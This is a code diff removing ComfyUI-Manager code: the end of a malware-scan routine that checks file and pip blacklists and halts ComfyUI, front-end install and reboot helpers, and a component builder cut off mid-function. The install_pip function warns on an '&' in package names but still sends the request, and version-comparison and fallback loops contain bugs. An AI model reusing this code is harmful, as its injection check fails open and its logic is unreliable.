-    for k, v in file_blacklist.items():
-        for x in v:
-            if os.path.exists(os.path.expandvars(x)):
-                detected.add(k)
-                break
-
-    if len(detected) > 0:
-        for line in installed_pips.split('\n'):
-            for k, v in pip_blacklist.items():
-                if k in line:
-                    print(f"[SECURITY ALERT] '{line}' is dangerous.")
-
-        print("\n########################################################################")
-        print("   Malware has been detected, forcibly terminating ComfyUI execution.")
-        print("########################################################################\n")
-
-        for x in detected:
-            print(f"\n======== TARGET: {x} =========")
-            print(f"\nTODO:")
-            print(guide.get(x))
-
-        exit(-1)
-
-    print("[DONE] Security scan")

js/common.js

@@ -1,244 +0,0 @@
-import { app } from "../../scripts/app.js";
-import { api } from "../../scripts/api.js";
-import { $el, ComfyDialog } from "../../scripts/ui.js";
-
-export function show_message(msg) {
-	app.ui.dialog.show(msg);
-	app.ui.dialog.element.style.zIndex = 10010;
-}
-
-export async function sleep(ms) {
-	return new Promise(resolve => setTimeout(resolve, ms));
-}
-
-export function rebootAPI() {
-	if ('electronAPI' in window) {
-      		window.electronAPI.restartApp();
-      		return true;
-    	}
-	if (confirm("Are you sure you'd like to reboot the server?")) {
-		try {
-			api.fetchApi("/manager/reboot");
-		}
-		catch(exception) {
-
-		}
-		return true;
-	}
-
-	return false;
-}
-
-export var manager_instance = null;
-
-export function setManagerInstance(obj) {
-	manager_instance = obj;
-}
-
-export function showToast(message, duration = 3000) {
-	const toast = $el("div.comfy-toast", {textContent: message});
-	document.body.appendChild(toast);
-	setTimeout(() => {
-		toast.classList.add("comfy-toast-fadeout");
-		setTimeout(() => toast.remove(), 500);
-	}, duration);
-}
-
-function isValidURL(url) {
-	if(url.includes('&'))
-		return false;
-
-	const http_pattern = /^(https?|ftp):\/\/[^\s$?#]+$/;
-	const ssh_pattern = /^(.+@|ssh:\/\/).+:.+$/;
-	return http_pattern.test(url) || ssh_pattern.test(url);
-}
-
-export async function install_pip(packages) {
-	if(packages.includes('&'))
-		app.ui.dialog.show(`Invalid PIP package enumeration: '${packages}'`);
-
-	const res = await api.fetchApi("/customnode/install/pip", {
-		method: "POST",
-		body: packages,
-	});
-
-	if(res.status == 403) {
-		show_message('This action is not allowed with this security level configuration.');
-		return;
-	}
-
-	if(res.status == 200) {
-		show_message(`PIP package installation is processed.<br>To apply the pip packages, please click the <button id='cm-reboot-button3'><font size='3px'>RESTART</font></button> button in ComfyUI.`);
-
-		const rebootButton = document.getElementById('cm-reboot-button3');
-		const self = this;
-
-		rebootButton.addEventListener("click", rebootAPI);
-	}
-	else {
-		show_message(`Failed to install '${packages}'<BR>See terminal log.`);
-	}
-}
-
-export async function install_via_git_url(url, manager_dialog) {
-	if(!url) {
-		return;
-	}
-
-	if(!isValidURL(url)) {
-		show_message(`Invalid Git url '${url}'`);
-		return;
-	}
-
-	show_message(`Wait...<BR><BR>Installing '${url}'`);
-
-	const res = await api.fetchApi("/customnode/install/git_url", {
-		method: "POST",
-		body: url,
-	});
-
-	if(res.status == 403) {
-		show_message('This action is not allowed with this security level configuration.');
-		return;
-	}
-
-	if(res.status == 200) {
-		show_message(`'${url}' is installed<BR>To apply the installed custom node, please <button id='cm-reboot-button4'><font size='3px'>RESTART</font></button> ComfyUI.`);
-
-		const rebootButton = document.getElementById('cm-reboot-button4');
-		const self = this;
-
-		rebootButton.addEventListener("click",
-			function() {
-				if(rebootAPI()) {
-					manager_dialog.close();
-				}
-			});
-	}
-	else {
-		show_message(`Failed to install '${url}'<BR>See terminal log.`);
-	}
-}
-
-export async function free_models(free_execution_cache) {
-	try {
-		let mode = "";
-		if(free_execution_cache) {
-			mode = '{"unload_models": true, "free_memory": true}';
-		}
-		else {
-			mode = '{"unload_models": true}';
-		}
-
-		let res = await api.fetchApi(`/free`, {
-			method: 'POST',
-			headers: { 'Content-Type': 'application/json' },
-			body: mode
-		});
-
-		if (res.status == 200) {
-			if(free_execution_cache) {
-				showToast("'Models' and 'Execution Cache' have been cleared.", 3000);
-			}
-			else {
-				showToast("Models' have been unloaded.", 3000);
-			}
-		} else {
-			showToast('Unloading of models failed. Installed ComfyUI may be an outdated version.', 5000);
-		}
-	} catch (error) {
-		showToast('An error occurred while trying to unload models.', 5000);
-	}
-}
-
-export function md5(inputString) {
-	const hc = '0123456789abcdef';
-	const rh = n => {let j,s='';for(j=0;j<=3;j++) s+=hc.charAt((n>>(j*8+4))&0x0F)+hc.charAt((n>>(j*8))&0x0F);return s;}
-	const ad = (x,y) => {let l=(x&0xFFFF)+(y&0xFFFF);let m=(x>>16)+(y>>16)+(l>>16);return (m<<16)|(l&0xFFFF);}
-	const rl = (n,c) => (n<<c)|(n>>>(32-c));
-	const cm = (q,a,b,x,s,t) => ad(rl(ad(ad(a,q),ad(x,t)),s),b);
-	const ff = (a,b,c,d,x,s,t) => cm((b&c)|((~b)&d),a,b,x,s,t);
-	const gg = (a,b,c,d,x,s,t) => cm((b&d)|(c&(~d)),a,b,x,s,t);
-	const hh = (a,b,c,d,x,s,t) => cm(b^c^d,a,b,x,s,t);
-	const ii = (a,b,c,d,x,s,t) => cm(c^(b|(~d)),a,b,x,s,t);
-	const sb = x => {
-	let i;const nblk=((x.length+8)>>6)+1;const blks=[];for(i=0;i<nblk*16;i++) { blks[i]=0 };
-	for(i=0;i<x.length;i++) {blks[i>>2]|=x.charCodeAt(i)<<((i%4)*8);}
-		blks[i>>2]|=0x80<<((i%4)*8);blks[nblk*16-2]=x.length*8;return blks;
-	}
-	let i,x=sb(inputString),a=1732584193,b=-271733879,c=-1732584194,d=271733878,olda,oldb,oldc,oldd;
-	for(i=0;i<x.length;i+=16) {olda=a;oldb=b;oldc=c;oldd=d;
-		a=ff(a,b,c,d,x[i+ 0], 7, -680876936);d=ff(d,a,b,c,x[i+ 1],12, -389564586);c=ff(c,d,a,b,x[i+ 2],17,  606105819);
-		b=ff(b,c,d,a,x[i+ 3],22,-1044525330);a=ff(a,b,c,d,x[i+ 4], 7, -176418897);d=ff(d,a,b,c,x[i+ 5],12, 1200080426);
-		c=ff(c,d,a,b,x[i+ 6],17,-1473231341);b=ff(b,c,d,a,x[i+ 7],22,  -45705983);a=ff(a,b,c,d,x[i+ 8], 7, 1770035416);
-		d=ff(d,a,b,c,x[i+ 9],12,-1958414417);c=ff(c,d,a,b,x[i+10],17,     -42063);b=ff(b,c,d,a,x[i+11],22,-1990404162);
-		a=ff(a,b,c,d,x[i+12], 7, 1804603682);d=ff(d,a,b,c,x[i+13],12,  -40341101);c=ff(c,d,a,b,x[i+14],17,-1502002290);
-		b=ff(b,c,d,a,x[i+15],22, 1236535329);a=gg(a,b,c,d,x[i+ 1], 5, -165796510);d=gg(d,a,b,c,x[i+ 6], 9,-1069501632);
-		c=gg(c,d,a,b,x[i+11],14,  643717713);b=gg(b,c,d,a,x[i+ 0],20, -373897302);a=gg(a,b,c,d,x[i+ 5], 5, -701558691);
-		d=gg(d,a,b,c,x[i+10], 9,   38016083);c=gg(c,d,a,b,x[i+15],14, -660478335);b=gg(b,c,d,a,x[i+ 4],20, -405537848);
-		a=gg(a,b,c,d,x[i+ 9], 5,  568446438);d=gg(d,a,b,c,x[i+14], 9,-1019803690);c=gg(c,d,a,b,x[i+ 3],14, -187363961);
-		b=gg(b,c,d,a,x[i+ 8],20, 1163531501);a=gg(a,b,c,d,x[i+13], 5,-1444681467);d=gg(d,a,b,c,x[i+ 2], 9,  -51403784);
-		c=gg(c,d,a,b,x[i+ 7],14, 1735328473);b=gg(b,c,d,a,x[i+12],20,-1926607734);a=hh(a,b,c,d,x[i+ 5], 4,    -378558);
-		d=hh(d,a,b,c,x[i+ 8],11,-2022574463);c=hh(c,d,a,b,x[i+11],16, 1839030562);b=hh(b,c,d,a,x[i+14],23,  -35309556);
-		a=hh(a,b,c,d,x[i+ 1], 4,-1530992060);d=hh(d,a,b,c,x[i+ 4],11, 1272893353);c=hh(c,d,a,b,x[i+ 7],16, -155497632);
-		b=hh(b,c,d,a,x[i+10],23,-1094730640);a=hh(a,b,c,d,x[i+13], 4,  681279174);d=hh(d,a,b,c,x[i+ 0],11, -358537222);
-		c=hh(c,d,a,b,x[i+ 3],16, -722521979);b=hh(b,c,d,a,x[i+ 6],23,   76029189);a=hh(a,b,c,d,x[i+ 9], 4, -640364487);
-		d=hh(d,a,b,c,x[i+12],11, -421815835);c=hh(c,d,a,b,x[i+15],16,  530742520);b=hh(b,c,d,a,x[i+ 2],23, -995338651);
-		a=ii(a,b,c,d,x[i+ 0], 6, -198630844);d=ii(d,a,b,c,x[i+ 7],10, 1126891415);c=ii(c,d,a,b,x[i+14],15,-1416354905);
-		b=ii(b,c,d,a,x[i+ 5],21,  -57434055);a=ii(a,b,c,d,x[i+12], 6, 1700485571);d=ii(d,a,b,c,x[i+ 3],10,-1894986606);
-		c=ii(c,d,a,b,x[i+10],15,   -1051523);b=ii(b,c,d,a,x[i+ 1],21,-2054922799);a=ii(a,b,c,d,x[i+ 8], 6, 1873313359);
-		d=ii(d,a,b,c,x[i+15],10,  -30611744);c=ii(c,d,a,b,x[i+ 6],15,-1560198380);b=ii(b,c,d,a,x[i+13],21, 1309151649);
-		a=ii(a,b,c,d,x[i+ 4], 6, -145523070);d=ii(d,a,b,c,x[i+11],10,-1120210379);c=ii(c,d,a,b,x[i+ 2],15,  718787259);
-		b=ii(b,c,d,a,x[i+ 9],21, -343485551);a=ad(a,olda);b=ad(b,oldb);c=ad(c,oldc);d=ad(d,oldd);
-	}
-	return rh(a)+rh(b)+rh(c)+rh(d);
-}
-
-export async function fetchData(route, options) {
-	let err;
-	const res = await api.fetchApi(route, options).catch(e => {
-		err = e;
-	});
-
-	if (!res) {
-		return {
-			status: 400,
-			error: new Error("Unknown Error")
-		}
-	}
-
-	const { status, statusText } = res;
-	if (err) {
-		return {
-			status,
-			error: err
-		}
-	}
-
-	if (status !== 200) {
-		return {
-			status,
-			error: new Error(statusText || "Unknown Error")
-		}
-	}
-
-	const data = await res.json();
-	if (!data) {
-		return {
-			status,
-			error: new Error(`Failed to load data: ${route}`)
-		}
-	}
-	return {
-		status,
-		data
-	}
-}
-
-export const icons = {
-	search: '<svg viewBox="0 0 24 24" width="100%" height="100%" pointer-events="none" xmlns="http://www.w3.org/2000/svg"><path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m21 21-4.486-4.494M19 10.5a8.5 8.5 0 1 1-17 0 8.5 8.5 0 0 1 17 0"/></svg>',
-	extensions: '<svg viewBox="64 64 896 896" width="100%" height="100%" pointer-events="none" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M843.5 737.4c-12.4-75.2-79.2-129.1-155.3-125.4S550.9 676 546 752c-153.5-4.8-208-40.7-199.1-113.7 3.3-27.3 19.8-41.9 50.1-49 18.4-4.3 38.8-4.9 57.3-3.2 1.7.2 3.5.3 5.2.5 11.3 2.7 22.8 5 34.3 6.8 34.1 5.6 68.8 8.4 101.8 6.6 92.8-5 156-45.9 159.2-132.7 3.1-84.1-54.7-143.7-147.9-183.6-29.9-12.8-61.6-22.7-93.3-30.2-14.3-3.4-26.3-5.7-35.2-7.2-7.9-75.9-71.5-133.8-147.8-134.4S189.7 168 180.5 243.8s40 146.3 114.2 163.9 149.9-23.3 175.7-95.1c9.4 1.7 18.7 3.6 28 5.8 28.2 6.6 56.4 15.4 82.4 26.6 70.7 30.2 109.3 70.1 107.5 119.9-1.6 44.6-33.6 65.2-96.2 68.6-27.5 1.5-57.6-.9-87.3-5.8-8.3-1.4-15.9-2.8-22.6-4.3-3.9-.8-6.6-1.5-7.8-1.8l-3.1-.6c-2.2-.3-5.9-.8-10.7-1.3-25-2.3-52.1-1.5-78.5 4.6-55.2 12.9-93.9 47.2-101.1 105.8-15.7 126.2 78.6 184.7 276 188.9 29.1 70.4 106.4 107.9 179.6 87 73.3-20.9 119.3-93.4 106.9-168.6M329.1 345.2a83.3 83.3 0 1 1 .01-166.61 83.3 83.3 0 0 1-.01 166.61M695.6 845a83.3 83.3 0 1 1 .01-166.61A83.3 83.3 0 0 1 695.6 845"/></svg>',
-	conflicts: '<svg viewBox="0 0 400 400" width="100%" height="100%" pointer-events="none" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="m397.2 350.4.2-.2-180-320-.2.2C213.8 24.2 207.4 20 200 20s-13.8 4.2-17.2 10.4l-.2-.2-180 320 .2.2c-1.6 2.8-2.8 6-2.8 9.6 0 11 9 20 20 20h360c11 0 20-9 20-20 0-3.6-1.2-6.8-2.8-9.6M220 340h-40v-40h40zm0-60h-40V120h40z"/></svg>',
-	passed: '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 426.667 426.667"><path fill="#6AC259" d="M213.333,0C95.518,0,0,95.514,0,213.333s95.518,213.333,213.333,213.333c117.828,0,213.333-95.514,213.333-213.333S331.157,0,213.333,0z M174.199,322.918l-93.935-93.931l31.309-31.309l62.626,62.622l140.894-140.898l31.309,31.309L174.199,322.918z"/></svg>',
-	download: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" width="100%" height="100%" viewBox="0 0 32 32"><path fill="currentColor" d="M26 24v4H6v-4H4v4a2 2 0 0 0 2 2h20a2 2 0 0 0 2-2v-4zm0-10l-1.41-1.41L17 20.17V2h-2v18.17l-7.59-7.58L6 14l10 10l10-10z"></path></svg>'
-}

js/components-manager.js

@@ -1,811 +0,0 @@
-import { app } from "../../scripts/app.js";
-import { api } from "../../scripts/api.js"
-import { sleep, show_message } from "./common.js";
-import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
-import { ComfyDialog, $el } from "../../scripts/ui.js";
-
-const SEPARATOR = ">"
-
-let pack_map = {};
-let rpack_map = {};
-
-export function getPureName(node) {
-	// group nodes/
-	let category = null;
-	if(node.category) {
-		category = node.category.substring(12);
-	}
-	else {
-		category = node.constructor.category?.substring(12);
-	}
-	if(category) {
-		let purename = node.comfyClass.substring(category.length+1);
-		return purename;
-	}
-	else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
-		return node.comfyClass.substring(9);
-	}
-	else {
-		return node.comfyClass;
-	}
-}
-
-function isValidVersionString(version) {
-	const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
-	
-	const match = version.match(versionPattern);
-
-	return match !== null &&
-			parseInt(match[1], 10) >= 0 &&
-			parseInt(match[2], 10) >= 0 &&
-			(!match[3] || parseInt(match[4], 10) >= 0);
-}
-
-function register_pack_map(name, data) {
-	if(data.packname) {
-		pack_map[data.packname] = name;
-		rpack_map[name] = data;
-	}
-	else {
-		rpack_map[name] = data;
-	}
-}
-
-function storeGroupNode(name, data, register=true) {
-	let extra = app.graph.extra;
-	if (!extra) app.graph.extra = extra = {};
-	let groupNodes = extra.groupNodes;
-	if (!groupNodes) extra.groupNodes = groupNodes = {};
-	groupNodes[name] = data;
-
-	if(register) {
-		register_pack_map(name, data);
-	}
-}
-
-export async function load_components() {
-	let data = await api.fetchApi('/manager/component/loads', {method: "POST"});
-	let components = await data.json();
-
-	let start_time = Date.now();
-	let failed = [];
-	let failed2 = [];
-
-	for(let name in components) {
-		if(app.graph.extra?.groupNodes?.[name]) {
-			if(data) {
-				let data = components[name];
-
-				let category = data.packname;
-				if(data.category) {
-					category += SEPARATOR + data.category;
-				}
-				if(category == '') {
-					category = 'components';
-				}
-
-				const config = new GroupNodeConfig(name, data);
-				await config.registerType(category);
-
-				register_pack_map(name, data);
-				continue;
-			}
-		}
-
-		let nodeData = components[name];
-
-		storeGroupNode(name, nodeData);
-
-		const config = new GroupNodeConfig(name, nodeData);
-
-		while(true) {
-			try {
-				let category = nodeData.packname;
-				if(nodeData.category) {
-					category += SEPARATOR + nodeData.category;
-				}
-				if(category == '') {
-					category = 'components';
-				}
-
-				await config.registerType(category);
-				register_pack_map(name, nodeData);
-				break;
-			}
-			catch {
-				let elapsed_time = Date.now() - start_time;
-				if (elapsed_time > 5000) {
-					failed.push(name);
-					break;
-				} else {
-					await sleep(100);
-				}
-			}
-		}
-	}
-
-	// fallback1
-	for(let i in failed) {
-		let name = failed[i];
-
-		if(app.graph.extra?.groupNodes?.[name]) {
-			continue;
-		}
-
-		let nodeData = components[name];
-
-		storeGroupNode(name, nodeData);
-
-		const config = new GroupNodeConfig(name, nodeData);
-		while(true) {
-			try {
-				let category = nodeData.packname;
-				if(nodeData.workflow.category) {
-					category += SEPARATOR + nodeData.category;
-				}
-				if(category == '') {
-					category = 'components';
-				}
-
-				await config.registerType(category);
-				register_pack_map(name, nodeData);
-				break;
-			}
-			catch {
-				let elapsed_time = Date.now() - start_time;
-				if (elapsed_time > 10000) {
-					failed2.push(name);
-					break;
-				} else {
-					await sleep(100);
-				}
-			}
-		}
-	}
-
-	// fallback2
-	for(let name in failed2) {
-		let name = failed2[i];
-
-		let nodeData = components[name];
-
-		storeGroupNode(name, nodeData);
-
-		const config = new GroupNodeConfig(name, nodeData);
-		while(true) {
-			try {
-				let category = nodeData.workflow.packname;
-				if(nodeData.workflow.category) {
-					category += SEPARATOR + nodeData.category;
-				}
-				if(category == '') {
-					category = 'components';
-				}
-
-				await config.registerType(category);
-				register_pack_map(name, nodeData);
-				break;
-			}
-			catch {
-				let elapsed_time = Date.now() - start_time;
-				if (elapsed_time > 30000) {
-					failed.push(name);
-					break;
-				} else {
-					await sleep(100);
-				}
-			}
-		}
-	}
-}
-
-async function save_as_component(node, version, author, prefix, nodename, packname, category) {
-	let component_name = `${prefix}::${nodename}`;
-
-	let subgraph = app.graph.extra?.groupNodes?.[component_name];
-	if(!subgraph) {
-		subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
-	}
-
-	subgraph.version = version;
-	subgraph.author = author;
-	subgraph.datetime = Date.now();
-	subgraph.packname = packname;
-	subgraph.category = category;
-
-	let body =
-		{
-			name: component_name,
-			workflow: subgraph
-		};
-
-	pack_map[packname] = component_name;
-	rpack_map[component_name] = subgraph;
-
-	const res = await api.fetchApi('/manager/component/save', {
-			method: "POST",
-			headers: {
-				"Content-Type": "application/json",
-			},
-			body: JSON.stringify(body),
-		});
-
-	if(res.status == 200) {
-		storeGroupNode(component_name, subgraph);
-		const config = new GroupNodeConfig(component_name, subgraph);
-
-		let category = body.workflow.packname;
-		if(body.workflow.category) {
-			category += SEPARATOR + body.workflow.category;
-		}
-		if(category == '') {
-			category = 'components';
-		}
-
-		await config.registerType(category);
-
-		let path = await res.text();
-		show_message(`Component '${component_name}' is saved into:\n${path}`);
-	}
-	else
-		show_message(`Failed to save component.`);
-}
-
-async function import_component(component_name, component, mode) {
-	if(mode) {
-		let body =
-			{
-				name: component_name,
-				workflow: component
-			};
-
-		const res = await api.fetchApi('/manager/component/save', {
-						method: "POST",
-						headers: { "Content-Type": "application/json", },
-						body: JSON.stringify(body)
-					});
-	}
-
-	let category = component.packname;
-	if(component.category) {
-		category += SEPARATOR + component.category;
-	}
-	if(category == '') {
-		category = 'components';
-	}
-
-	storeGroupNode(component_name, component);
-	const config = new GroupNodeConfig(component_name, component);
-	await config.registerType(category);
-}
-
-function restore_to_loaded_component(component_name) {
-	if(rpack_map[component_name]) {
-		let component = rpack_map[component_name];
-		storeGroupNode(component_name, component, false);
-		const config = new GroupNodeConfig(component_name, component);
-		config.registerType(component.category);
-	}
-}
-
-// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
-let last_paste_timestamp = null;
-
-function versionCompare(v1, v2) {
-	let ver1;
-	let ver2;
-	if(v1 && v1 != '') {
-		ver1 = v1.split('.');
-		ver1[0] = parseInt(ver1[0]);
-		ver1[1] = parseInt(ver1[1]);
-		if(ver1.length == 2)
-			ver1.push(0);
-		else
-			ver1[2] = parseInt(ver2[2]);
-	}
-	else {
-		ver1 = [0,0,0];
-	}
-
-	if(v2 && v2 != '') {
-		ver2 = v2.split('.');
-		ver2[0] = parseInt(ver2[0]);
-		ver2[1] = parseInt(ver2[1]);
-		if(ver2.length == 2)
-			ver2.push(0);
-		else
-			ver2[2] = parseInt(ver2[2]);
-	}
-	else {
-		ver2 = [0,0,0];
-	}
-
-	if(ver1[0] > ver2[0])
-		return -1;
-	else if(ver1[0] < ver2[0])
-		return 1;
-
-	if(ver1[1] > ver2[1])
-		return -1;
-	else if(ver1[1] < ver2[1])
-		return 1;
-
-	if(ver1[2] > ver2[2])
-		return -1;
-	else if(ver1[2] < ver2[2])
-		return 1;
-
-	return 0;
-}
-
-function checkVersion(name, component) {
-	let msg = '';
-	if(rpack_map[name]) {
-		let old_version = rpack_map[name].version;
-		if(!old_version || old_version == '') {
-			msg = `  '${name}' Upgrade (V0.0 -> V${component.version})`;
-		}
-		else {
-			let c = versionCompare(old_version, component.version);
-			if(c < 0) {
-				msg = `  '${name}' Downgrade (V${old_version} -> V${component.version})`;
-			}
-			else if(c > 0) {
-				msg = `  '${name}' Upgrade (V${old_version} -> V${component.version})`;
-			}
-			else {
-				msg = `  '${name}' Same version (V${component.version})`;
-			}
-		}
-	}
-	else {
-		msg = `'${name}' NEW (V${component.version})`;
-	}
-
-	return msg;
-}
-
-function handle_import_components(components) {
-	let msg = 'Components:\n';
-	let cnt = 0;
-	for(let name in components) {
-		let component = components[name];
-		let v = checkVersion(name, component);
-
-		if(cnt < 10) {
-			msg += v + '\n';
-		}
-		else if (cnt == 10) {
-			msg += '...\n';
-		}
-		else {
-			// do nothing
-		}
-
-		cnt++;
-	}
-
-	let last_name = null;
-	msg += '\nWill you load components?\n';
-	if(confirm(msg)) {
-		let mode = confirm('\nWill you save components?\n(cancel=load without save)');
-
-		for(let name in components) {
-			let component = components[name];
-			import_component(name, component, mode);
-			last_name = name;
-		}
-
-		if(mode) {
-			show_message('Components are saved.');
-		}
-		else {
-			show_message('Components are loaded.');
-		}
-	}
-
-	if(cnt == 1 && last_name) {
-		const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
-		node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
-		app.canvas.graph.add(node, false);
-	}
-}
-
-function handlePaste(e) {
-	let data = (e.clipboardData || window.clipboardData);
-	const items = data.items;
-	for(const item of items) {
-		if(item.kind == 'string' && item.type == 'text/plain') {
-			data = data.getData("text/plain");
-			try {
-				let json_data = JSON.parse(data);
-				if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
-					last_paste_timestamp = json_data.timestamp;
-					handle_import_components(json_data.components);
-
-					// disable paste node
-					localStorage.removeItem("litegrapheditor_clipboard", null);
-				}
-				else {
-					console.log('This components are already pasted: ignored');
-				}
-			}
-			catch {
-				// nothing to do
-			}
-		}
-	}
-}
-
-document.addEventListener("paste", handlePaste);
-
-
-export class ComponentBuilderDialog extends ComfyDialog {
-	constructor() {
-		super();
-	}
-
-	clear() {
-		while (this.element.children.length) {
-			this.element.removeChild(this.element.children[0]);
-		}
-	}
-
-	show() {
-		this.invalidateControl();
-
-		this.element.style.display = "block";
-		this.element.style.zIndex = 10001;
-		this.element.style.width = "500px";
-		this.element.style.height = "480px";
-	}
-
-	invalidateControl() {
-		this.clear();
-
-		let self = this;
-
-		const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
-		this.save_button = $el("button",
-					{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
-							{
-								save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
-												  self.getNodeName(), self.getPackName(), self.category.value.trim());
-							}
-					});
-
-		let default_nodename = getPureName(this.target_node).trim();
-
-		let groupNode = app.graph.extra.groupNodes[default_nodename];
-		let default_packname = groupNode.packname;
-		if(!default_packname) {
-			default_packname = '';
-		}
-
-		let default_category = groupNode.category;
-		if(!default_category) {
-			default_category = '';
-		}
-
-		this.default_ver = groupNode.version;
-		if(!this.default_ver) {
-			this.default_ver = '0.0';
-		}
-
-		let default_author = groupNode.author;
-		if(!default_author) {
-			default_author = '';
-		}
-
-		let delimiterIndex = default_nodename.indexOf('::');
-		let default_prefix = "";
-		if(delimiterIndex != -1) {
-			default_prefix = default_nodename.substring(0, delimiterIndex);
-			default_nodename = default_nodename.substring(delimiterIndex + 2);
-		}
-
-		if(!default_prefix) {
-			this.save_button.disabled = true;
-		}
-
-		this.pack_list = this.createPackListCombo();
-
-		let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ',  this.default_ver);
-		this.version_string = version_string[1];
-		this.version_string.disabled = true;
-
-		let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ',  default_author);
-		this.author = author[1];
-
-		let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ',  default_prefix);
-		this.node_prefix = node_prefix[1];
-
-		let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
-		this.manual_nodename = manual_nodename[1];
-
-		let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ',  default_packname);
-		this.manual_packname = manual_packname[1];
-
-		let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ',  default_category);
-		this.category = category[1];
-
-		this.node_label = this.createNodeLabel();
-
-		let author_mode = this.createAuthorModeCheck();
-		this.author_mode = author_mode[0];
-
-		const content =
-				$el("div.comfy-modal-content",
-					[
-						$el("tr.cm-title", {}, [
-								$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
-							),
-						$el("br", {}, []),
-						$el("div.cm-menu-container",
-							[
-								author_mode[0],
-								author_mode[1],
-								category[0],
-								author[0],
-								node_prefix[0],
-								manual_nodename[0],
-								manual_packname[0],
-								version_string[0],
-								this.pack_list,
-								$el("br", {}, []),
-								this.node_label
-							]),
-
-						$el("br", {}, []),
-						this.save_button,
-						close_button,
-					]
-				);
-
-		content.style.width = '100%';
-		content.style.height = '100%';
-
-		this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
-	}
-
-	validateInput() {
-		let msg = "";
-
-		if(!isValidVersionString(this.version_string.value)) {
-			msg += 'Invalid version string: '+event.value+"\n";
-		}
-
-		if(this.node_prefix.value.trim() == '') {
-			msg += 'Node prefix cannot be empty\n';
-		}
-
-		if(this.manual_nodename.value.trim() == '') {
-			msg += 'Node name cannot be empty\n';
-		}
-
-		if(msg != '') {
-//			alert(msg);
-		}
-
-		this.save_button.disabled = msg != "";
-	}
-
-	getPackName() {
-		if(this.pack_list.selectedIndex == 0) {
-			return this.manual_packname.value.trim();
-		}
-
-		return this.pack_list.value.trim();
-	}
-
-	getNodeName() {
-		if(this.manual_nodename.value.trim() != '') {
-			return this.manual_nodename.value.trim();
-		}
-
-		return getPureName(this.target_node);
-	}
-
-	createAuthorModeCheck() {
-		let check = $el("input",{type:'checkbox', id:"author-mode"},[])
-		const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
-		check_label.style.color = "var(--fg-color)";
-		check_label.style.cursor = "pointer";
-		check.checked = false;
-
-		let self = this;
-		check.onchange = () => {
-			self.version_string.disabled = !check.checked;
-
-			if(!check.checked) {
-				self.version_string.value = self.default_ver;
-			}
-			else {
-				alert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
-			}
-		};
-
-		return [check, check_label];
-	}
-
-	createNodeLabel() {
-		let label = $el('p');
-		label.className = 'cb-node-label';
-		if(this.target_node.comfyClass.includes('::'))
-			label.textContent = getPureName(this.target_node);
-		else
-			label.textContent = " _::" + getPureName(this.target_node);
-		return label;
-	}
-
-	createLabeledInput(placeholder, label, value) {
-		let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
-
-		let self = this;
-		textbox.onchange = () => {
-			this.validateInput.call(self);
-			this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
-		}
-		let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
-
-		return [row, textbox];
-	}
-
-	createPackListCombo() {
-		let combo = document.createElement("select");
-		combo.className = "cb-widget";
-		let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
-
-		combo.appendChild($el('option', default_packname_option, []));
-		for(let name in pack_map) {
-			combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
-		}
-
-		let self = this;
-		combo.onchange = function () {
-			if(combo.selectedIndex == 0) {
-				self.manual_packname.disabled = false;
-			}
-			else {
-				self.manual_packname.disabled = true;
-			}
-		};
-
-		return combo;
-	}
-}
-
-let orig_handleFile = app.handleFile;
-
-function handleFile(file) {
-	if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
-		const reader = new FileReader();
-		reader.onload = async () => {
-			let is_component = false;
-			const jsonContent = JSON.parse(reader.result);
-			for(let name in jsonContent) {
-				let cand = jsonContent[name];
-				is_component = cand.datetime && cand.version;
-				break;
-			}
-
-			if(is_component) {
-				handle_import_components(jsonContent);
-			}
-			else {
-				orig_handleFile.call(app, file);
-			}
-		};
-		reader.readAsText(file);
-
-		return;
-	}
-
-	orig_handleFile.call(app, file);
-}
-
-app.handleFile = handleFile;
-
-let current_component_policy = 'workflow';
-try {
-	api.fetchApi('/manager/component/policy')
-		.then(response => response.text())
-		.then(data => { current_component_policy = data; });
-}
-catch {}
-
-function getChangedVersion(groupNodes) {
-	if(!Object.keys(pack_map).length || !groupNodes)
-		return null;
-
-	let res = {};
-	for(let component_name in groupNodes) {
-		let data = groupNodes[component_name];
-
-		if(rpack_map[component_name]) {
-			let v = versionCompare(data.version, rpack_map[component_name].version);
-			res[component_name] = v;
-		}
-	}
-
-	return res;
-}
-
-const loadGraphData = app.loadGraphData;
-app.loadGraphData = async function () {
-	if(arguments.length == 0)
-		return await loadGraphData.apply(this, arguments);
-
